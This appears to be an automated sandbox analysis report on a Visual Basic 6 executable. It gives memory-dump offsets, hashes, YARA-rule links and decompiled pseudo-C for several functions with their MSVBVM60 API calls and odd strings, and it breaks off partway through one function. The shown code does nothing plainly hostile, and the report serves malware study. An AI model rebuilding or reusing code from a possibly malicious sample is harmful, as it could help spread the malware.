Function 02C16CCE, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44fd36180b1bc3c147acd89ccd529a0ee065c232355a564f22283ae16af906d0
Instruction ID: 8035a97e52e4dd537f9629934605d3b03b7c271b044e5e08355f7b2954b629a3
Opcode Fuzzy Hash: 44fd36180b1bc3c147acd89ccd529a0ee065c232355a564f22283ae16af906d0
Instruction Fuzzy Hash: D5F05E353006008FC725EB1DC5E5B9573ABEF96200FE584A2E806CB6A5C335DDC1DA11

Uniqueness

Uniqueness Score: -1.00%

Function 02C13646, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c3a915b5d5e7ece38666378c9c8f3f49c190999d8db2745b790fa622c0ac3e
Instruction ID: c8cc877f5f11b75dc5c2a5ea636464da5407da9b306b00bbf39691b367bfb64a
Opcode Fuzzy Hash: d7c3a915b5d5e7ece38666378c9c8f3f49c190999d8db2745b790fa622c0ac3e
Instruction Fuzzy Hash: 76F08235600389AFEF362E25DC067D83A22BF42754F844218FE891616087764951AF80

Uniqueness

Uniqueness Score: -1.00%

Function 02C13A29, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10dc7a5022c59d2a29c0963708f4dcf7a9da6dc8310ccbae495408d5d800a2e1
Instruction ID: 8935fa5715974f4f05c690357f8b9415bf0458601aa0f0ac3042b5bbe68470b1
Opcode Fuzzy Hash: 10dc7a5022c59d2a29c0963708f4dcf7a9da6dc8310ccbae495408d5d800a2e1
Instruction Fuzzy Hash: CBC08CB32007C09FEB02CA08C6A1F8073B0EB45600F2988E4E5029BB02C328EE00C600

Uniqueness

Uniqueness Score: -1.00%

Function 02C166D1, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10

Uniqueness

Uniqueness Score: -1.00%

Function 02C17FF5, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeafa03d48bc390408c59c474862eeb80a5e8754063925e1ec4441e030f0515a
Instruction ID: 790e0d19b5fa6c94f41eff63ae6443ff61c77d8d2320338748d2a7ad44a99e0b
Opcode Fuzzy Hash: aeafa03d48bc390408c59c474862eeb80a5e8754063925e1ec4441e030f0515a
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00412B07, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00412B07(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v68;
				signed int _v92;
				intOrPtr _v100;
				intOrPtr _v108;
				char _v116;
				void* _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				char _v144;
				signed int _v148;
				signed int _v152;
				short _t65;
				char* _t68;
				signed int _t74;
				void* _t76;
				char* _t77;
				signed int _t80;
				void* _t90;
				void* _t92;
				intOrPtr _t93;

				_t93 = _t92 - 0xc;
				 *[fs:0x0] = _t93;
				L004012C0();
				_v16 = _t93;
				_v12 = 0x401248;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012c6, _t90);
				_v92 = 0x404d88;
				_v100 = 8;
				L0040141C();
				_push(0);
				_push(3);
				_push( &_v52);
				_push( &_v68);
				L0040136E();
				_v108 = 0x404b7c;
				_v116 = 0x8008;
				_push( &_v68);
				_t65 =  &_v116;
				_push(_t65);
				L00401428();
				_v120 = _t65;
				_push( &_v68);
				_push( &_v52);
				_push(2);
				L00401416();
				_t68 = _v120;
				if(_t68 != 0) {
					if( *0x414650 != 0) {
						_v144 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v144 = 0x414650;
					}
					_t23 =  &_v144; // 0x414650
					_v120 =  *((intOrPtr*)( *_t23));
					_t25 =  &_v32; // 0x414650
					_t74 =  *((intOrPtr*)( *_v120 + 0x1c))(_v120, _t25);
					asm("fclex");
					_v124 = _t74;
					if(_v124 >= 0) {
						_v148 = _v148 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x404b90);
						_push(_v120);
						_push(_v124);
						L00401434();
						_v148 = _t74;
					}
					_v128 = _v32;
					_v92 = _v92 & 0x00000000;
					_v100 = 2;
					_t76 = 0x10;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004013F8();
					_t77 =  &_v36;
					L00401440();
					_t80 =  *((intOrPtr*)( *_v128 + 0x58))(_v128, _t77, _t77, _t76, _v28, 0x404bb0);
					asm("fclex");
					_v132 = _t80;
					if(_v132 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x58);
						_push(0x404bc0);
						_push(_v128);
						_push(_v132);
						L00401434();
						_v152 = _t80;
					}
					_push( &_v32);
					_t68 =  &_v36;
					_push(_t68);
					_push(2);
					L004013F2();
				}
				_push(0x412ce0);
				L0040142E();
				return _t68;
			}

0x00412b0a
0x00412b19
0x00412b25
0x00412b2d
0x00412b30
0x00412b37
0x00412b46
0x00412b49
0x00412b50
0x00412b5d
0x00412b62
0x00412b64
0x00412b69
0x00412b6d
0x00412b6e
0x00412b73
0x00412b7a
0x00412b84
0x00412b85
0x00412b88
0x00412b89
0x00412b8e
0x00412b95
0x00412b99
0x00412b9a
0x00412b9c
0x00412ba4
0x00412baa
0x00412bb7
0x00412bd4
0x00412bb9
0x00412bb9
0x00412bbe
0x00412bc3
0x00412bc8
0x00412bc8
0x00412bde
0x00412be6
0x00412be9
0x00412bf5
0x00412bf8
0x00412bfa
0x00412c01
0x00412c1d
0x00412c03
0x00412c03
0x00412c05
0x00412c0a
0x00412c0d
0x00412c10
0x00412c15
0x00412c15
0x00412c27
0x00412c2a
0x00412c2e
0x00412c37
0x00412c38
0x00412c42
0x00412c43
0x00412c44
0x00412c45
0x00412c4e
0x00412c54
0x00412c58
0x00412c66
0x00412c69
0x00412c6b
0x00412c72
0x00412c8e
0x00412c74
0x00412c74
0x00412c76
0x00412c7b
0x00412c7e
0x00412c81
0x00412c86
0x00412c86
0x00412c98
0x00412c99
0x00412c9c
0x00412c9d
0x00412c9f
0x00412ca4
0x00412ca7
0x00412cda
0x00412cdf

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412B25
__vbaVarDup.MSVBVM60 ref: 00412B5D
#717.MSVBVM60(?,?,00000003,00000000), ref: 00412B6E
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,00000003,00000000), ref: 00412B89
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,00000003,00000000), ref: 00412B9C
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,004012C6), ref: 00412BC3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,0000001C), ref: 00412C10
__vbaChkstk.MSVBVM60(00000000,?,00404B90,0000001C), ref: 00412C38
__vbaCastObj.MSVBVM60(?,00404BB0), ref: 00412C4E
__vbaObjSet.MSVBVM60(?,00000000,?,00404BB0), ref: 00412C58
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BC0,00000058), ref: 00412C81
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00412C9F
__vbaFreeObj.MSVBVM60(00412CE0,?,?,004012C6), ref: 00412CDA

Strings

PFA, xrefs: 00412BDE
PFA, xrefs: 00412BE9, 00412BEC

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultList$#717CastNew2
String ID: PFA$PFA
API String ID: 325273996-3862896925
Opcode ID: 4adcf3ba9510d3bfdada0c4cf52f189b3c1b8b75298737d9979d2a1700fe631f
Instruction ID: 63657935c7c949d0228242958974165a51d64f2258d7a64b739b8d96168037e7
Opcode Fuzzy Hash: 4adcf3ba9510d3bfdada0c4cf52f189b3c1b8b75298737d9979d2a1700fe631f
Instruction Fuzzy Hash: EA511871900218EFDB10EFA5CD46FDEBBB8BF04704F10416AE604BB1A2D7B899858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00412945, Relevance: 18.1, APIs: 12, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00412945(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				char _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v76;
				signed int _v80;
				intOrPtr* _v84;
				signed int _v88;
				char* _t60;
				signed int _t64;
				char* _t68;
				signed int _t72;
				intOrPtr _t73;
				void* _t90;
				void* _t92;
				intOrPtr _t93;

				_t93 = _t92 - 0xc;
				 *[fs:0x0] = _t93;
				L004012C0();
				_v16 = _t93;
				_v12 = 0x401238;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x40,  *[fs:0x0], 0x4012c6, _t90);
				L004013DA();
				if( *0x414010 != 0) {
					_v76 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v76 = 0x414010;
				}
				_t60 =  &_v36;
				L00401440();
				_v60 = _t60;
				_v44 = 1;
				_v52 = 2;
				L004012C0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t64 =  *((intOrPtr*)( *_v60 + 0x200))(_v60, 0x10, _t60,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x30c))( *_v76));
				asm("fclex");
				_v64 = _t64;
				if(_v64 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x200);
					_push(0x404b5c);
					_push(_v60);
					_push(_v64);
					L00401434();
					_v80 = _t64;
				}
				L0040142E();
				if( *0x414010 != 0) {
					_v84 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v84 = 0x414010;
				}
				_t68 =  &_v36;
				L00401440();
				_v60 = _t68;
				_t72 =  *((intOrPtr*)( *_v60 + 0x198))(_v60,  &_v56, _t68,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x30c))( *_v84));
				asm("fclex");
				_v64 = _t72;
				if(_v64 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x198);
					_push(0x404b5c);
					_push(_v60);
					_push(_v64);
					L00401434();
					_v88 = _t72;
				}
				_t73 = _v56;
				_v32 = _t73;
				L0040142E();
				_push(0x412ae0);
				L004013CE();
				return _t73;
			}

0x00412948
0x00412957
0x00412961
0x00412969
0x0041296c
0x00412973
0x00412982
0x0041298b
0x00412997
0x004129b1
0x00412999
0x00412999
0x0041299e
0x004129a3
0x004129a8
0x004129a8
0x004129cc
0x004129d0
0x004129d5
0x004129d8
0x004129df
0x004129e9
0x004129f3
0x004129f4
0x004129f5
0x004129f6
0x004129ff
0x00412a05
0x00412a07
0x00412a0e
0x00412a2a
0x00412a10
0x00412a10
0x00412a15
0x00412a1a
0x00412a1d
0x00412a20
0x00412a25
0x00412a25
0x00412a31
0x00412a3d
0x00412a57
0x00412a3f
0x00412a3f
0x00412a44
0x00412a49
0x00412a4e
0x00412a4e
0x00412a72
0x00412a76
0x00412a7b
0x00412a8a
0x00412a90
0x00412a92
0x00412a99
0x00412ab5
0x00412a9b
0x00412a9b
0x00412aa0
0x00412aa5
0x00412aa8
0x00412aab
0x00412ab0
0x00412ab0
0x00412ab9
0x00412abc
0x00412ac2
0x00412ac7
0x00412ada
0x00412adf

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412961
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 0041298B
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 004129A3
__vbaObjSet.MSVBVM60(?,00000000), ref: 004129D0
__vbaChkstk.MSVBVM60(?,00000000), ref: 004129E9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000200), ref: 00412A20
__vbaFreeObj.MSVBVM60 ref: 00412A31
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00412A49
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412A76
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000198), ref: 00412AAB
__vbaFreeObj.MSVBVM60 ref: 00412AC2
__vbaFreeStr.MSVBVM60(00412AE0), ref: 00412ADA

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2$Copy
String ID:
API String ID: 3778991914-0
Opcode ID: d54db1d540fb7731e91981ef5ca1e15d8c70196ceacb9531dc031f2c3e5e40d0
Instruction ID: 38399799f25551d8a99d643ecf87dbb2ac839843f4f46a8f3d173a51cc7ca4ea
Opcode Fuzzy Hash: d54db1d540fb7731e91981ef5ca1e15d8c70196ceacb9531dc031f2c3e5e40d0
Instruction Fuzzy Hash: 5C4108B4A00208EFCB10EF91D999BDDBBB5BF08708F10446AF601BB2A1C7B95595DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00412F7D, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00412F7D(void* __ebx, void* __ecx, void* __edi, void* __esi, signed int _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				void* _v28;
				char _v44;
				signed int _v52;
				intOrPtr _v60;
				void* _v64;
				signed int _v68;
				intOrPtr* _v72;
				signed int _v76;
				char _v84;
				signed int _v88;
				signed int _v92;
				char* _t50;
				signed int _t51;
				signed int _t57;
				intOrPtr _t77;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t77;
				_push(0x48);
				L004012C0();
				_v12 = _t77;
				_v8 = 0x401280;
				_v52 = _a4;
				_v60 = 9;
				L0040141C();
				_t50 =  &_v44;
				_push(_t50);
				L00401362();
				_v64 =  ~(0 | _t50 != 0x0000ffff);
				L004013E0();
				_t51 = _v64;
				if(_t51 != 0) {
					if( *0x414650 != 0) {
						_v84 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v84 = 0x414650;
					}
					_t16 =  &_v84; // 0x414650
					_v64 =  *((intOrPtr*)( *_t16));
					_t57 =  *((intOrPtr*)( *_v64 + 0x4c))(_v64,  &_v28);
					asm("fclex");
					_v68 = _t57;
					if(_v68 >= 0) {
						_v88 = _v88 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x404b90);
						_push(_v64);
						_push(_v68);
						L00401434();
						_v88 = _t57;
					}
					_v72 = _v28;
					_v52 = _v52 & 0x00000000;
					_v60 = 2;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t51 =  *((intOrPtr*)( *_v72 + 0x2c))(_v72, 0x10);
					asm("fclex");
					_v76 = _t51;
					if(_v76 >= 0) {
						_v92 = _v92 & 0x00000000;
					} else {
						_push(0x2c);
						_push(0x404cd4);
						_push(_v72);
						_push(_v76);
						L00401434();
						_v92 = _t51;
					}
					L0040142E();
				}
				_v24 =  *0x401278;
				asm("wait");
				_push(0x4130d1);
				return _t51;
			}

0x00412f82
0x00412f8d
0x00412f8e
0x00412f95
0x00412f98
0x00412fa0
0x00412fa3
0x00412fad
0x00412fb0
0x00412fbd
0x00412fc2
0x00412fc5
0x00412fc6
0x00412fd6
0x00412fdd
0x00412fe2
0x00412fe8
0x00412ff5
0x0041300f
0x00412ff7
0x00412ff7
0x00412ffc
0x00413001
0x00413006
0x00413006
0x00413016
0x0041301b
0x0041302a
0x0041302d
0x0041302f
0x00413036
0x0041304f
0x00413038
0x00413038
0x0041303a
0x0041303f
0x00413042
0x00413045
0x0041304a
0x0041304a
0x00413056
0x00413059
0x0041305d
0x00413067
0x00413071
0x00413072
0x00413073
0x00413074
0x0041307d
0x00413080
0x00413082
0x00413089
0x004130a2
0x0041308b
0x0041308b
0x0041308d
0x00413092
0x00413095
0x00413098
0x0041309d
0x0041309d
0x004130a9
0x004130a9
0x004130b4
0x004130b7
0x004130b8
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412F98
__vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412FBD
#562.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412FC6
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412FDD
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00413001
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,0000004C,?,?,?,?,?,?), ref: 00413045
__vbaChkstk.MSVBVM60(?,?,?,?,?,?), ref: 00413067
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404CD4,0000002C,?,?,?,?,?,?), ref: 00413098
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?), ref: 004130A9

Strings

PFA, xrefs: 00413016

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresult$#562New2
String ID: PFA
API String ID: 2008314419-872771111
Opcode ID: 540f6128e2f54ff0bdff2077e901a9808c8d3f193b936381ffb12da03739e26c
Instruction ID: aaafe76bc75dfa25c2593e2fcd3c3bf19ea275cad12f366fd79beb152bf5067e
Opcode Fuzzy Hash: 540f6128e2f54ff0bdff2077e901a9808c8d3f193b936381ffb12da03739e26c
Instruction Fuzzy Hash: 6441F3B4910208EFDB10DF91D885BDEBBF4BF08715F50402AF501BA2A1D7B8A985DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00412646, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00412646(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a28) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				char* _t32;
				signed int _t36;
				intOrPtr _t52;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t52;
				_push(0x2c);
				L004012C0();
				_v12 = _t52;
				_v8 = 0x401208;
				L004013DA();
				if( *0x414010 != 0) {
					_v60 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v60 = 0x414010;
				}
				_t32 =  &_v28;
				L00401440();
				_v48 = _t32;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004012C0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t36 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"Barytaftrykkene", 0x10, _t32,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x304))( *_v60));
				asm("fclex");
				_v52 = _t36;
				if(_v52 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x404bd0);
					_push(_v48);
					_push(_v52);
					L00401434();
					_v64 = _t36;
				}
				L0040142E();
				_push(0x412742);
				L004013CE();
				return _t36;
			}

0x0041264b
0x00412656
0x00412657
0x0041265e
0x00412661
0x00412669
0x0041266c
0x00412679
0x00412685
0x0041269f
0x00412687
0x00412687
0x0041268c
0x00412691
0x00412696
0x00412696
0x004126ba
0x004126be
0x004126c3
0x004126c6
0x004126cd
0x004126d7
0x004126e1
0x004126e2
0x004126e3
0x004126e4
0x004126f2
0x004126f8
0x004126fa
0x00412701
0x0041271d
0x00412703
0x00412703
0x00412708
0x0041270d
0x00412710
0x00412713
0x00412718
0x00412718
0x00412724
0x00412729
0x0041273c
0x00412741

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412661
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 00412679
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00412691
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004126BE
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004126D7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,000001EC,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412713
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412724
__vbaFreeStr.MSVBVM60(00412742,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 0041273C

Strings

Barytaftrykkene, xrefs: 004126E5

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckCopyHresultNew2
String ID: Barytaftrykkene
API String ID: 2888502551-1831833061
Opcode ID: 9d1805ba752c9fdf42fec5500c74cd37dd791435027f8818deee35a1f8b94bab
Instruction ID: 36527816423b046df95e8418c9b69cb16daba413ae732022061585fe40dc2db4
Opcode Fuzzy Hash: 9d1805ba752c9fdf42fec5500c74cd37dd791435027f8818deee35a1f8b94bab
Instruction Fuzzy Hash: 182139B4910208EFCB00DF95D986BDEBBB4FF08714F20442AF501B72E1C7B959518B58

Uniqueness

Uniqueness Score: -1.00%

Function 00412E6E, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00412E6E(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				char* _t32;
				signed int _t36;
				intOrPtr _t52;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t52;
				_push(0x2c);
				L004012C0();
				_v12 = _t52;
				_v8 = 0x401268;
				L004013DA();
				if( *0x414010 != 0) {
					_v60 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v60 = 0x414010;
				}
				_t32 =  &_v28;
				L00401440();
				_v48 = _t32;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004012C0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t36 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"NONCUMULATIVE", 0x10, _t32,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x304))( *_v60));
				asm("fclex");
				_v52 = _t36;
				if(_v52 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x404bd0);
					_push(_v48);
					_push(_v52);
					L00401434();
					_v64 = _t36;
				}
				L0040142E();
				_push(0x412f6a);
				L004013CE();
				return _t36;
			}

0x00412e73
0x00412e7e
0x00412e7f
0x00412e86
0x00412e89
0x00412e91
0x00412e94
0x00412ea1
0x00412ead
0x00412ec7
0x00412eaf
0x00412eaf
0x00412eb4
0x00412eb9
0x00412ebe
0x00412ebe
0x00412ee2
0x00412ee6
0x00412eeb
0x00412eee
0x00412ef5
0x00412eff
0x00412f09
0x00412f0a
0x00412f0b
0x00412f0c
0x00412f1a
0x00412f20
0x00412f22
0x00412f29
0x00412f45
0x00412f2b
0x00412f2b
0x00412f30
0x00412f35
0x00412f38
0x00412f3b
0x00412f40
0x00412f40
0x00412f4c
0x00412f51
0x00412f64
0x00412f69

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412E89
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 00412EA1
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00412EB9
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412EE6
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412EFF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,000001EC,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412F3B
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412F4C
__vbaFreeStr.MSVBVM60(00412F6A,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412F64

Strings

NONCUMULATIVE, xrefs: 00412F0D

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckCopyHresultNew2
String ID: NONCUMULATIVE
API String ID: 2888502551-3432100574
Opcode ID: 591cab4e31bae73271a35e13bf50c937d828a5faef9fb6e6e1e4b140ef945791
Instruction ID: d7eb25cd7fc53608ce1156c7a4f70e735e1a98d7528eb64e608d26614334e642
Opcode Fuzzy Hash: 591cab4e31bae73271a35e13bf50c937d828a5faef9fb6e6e1e4b140ef945791
Instruction Fuzzy Hash: 27216DB0900208EFCB00DFA5D886BDEBBB8FF09714F20446AF501B72A1C7B95951DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004130EC, Relevance: 15.1, APIs: 10, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E004130EC(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				long long _v36;
				char _v40;
				intOrPtr _v48;
				char _v56;
				char _v76;
				void* _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v100;
				signed int _v104;
				signed int _v108;
				signed short _t52;
				signed int _t56;
				char* _t60;
				signed int _t64;
				void* _t78;
				void* _t80;
				intOrPtr _t81;

				_t81 = _t80 - 0xc;
				 *[fs:0x0] = _t81;
				L004012C0();
				_v16 = _t81;
				_v12 = 0x401298;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x54,  *[fs:0x0], 0x4012c6, _t78);
				L004013DA();
				_v48 = 0xc8;
				_v56 = 2;
				_t52 =  &_v56;
				_push(_t52);
				L00401380();
				asm("sbb eax, eax");
				_v80 =  ~( ~( ~_t52));
				L004013E0();
				_t56 = _v80;
				if(_t56 != 0) {
					if( *0x414010 != 0) {
						_v100 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v100 = 0x414010;
					}
					_t60 =  &_v40;
					L00401440();
					_v80 = _t60;
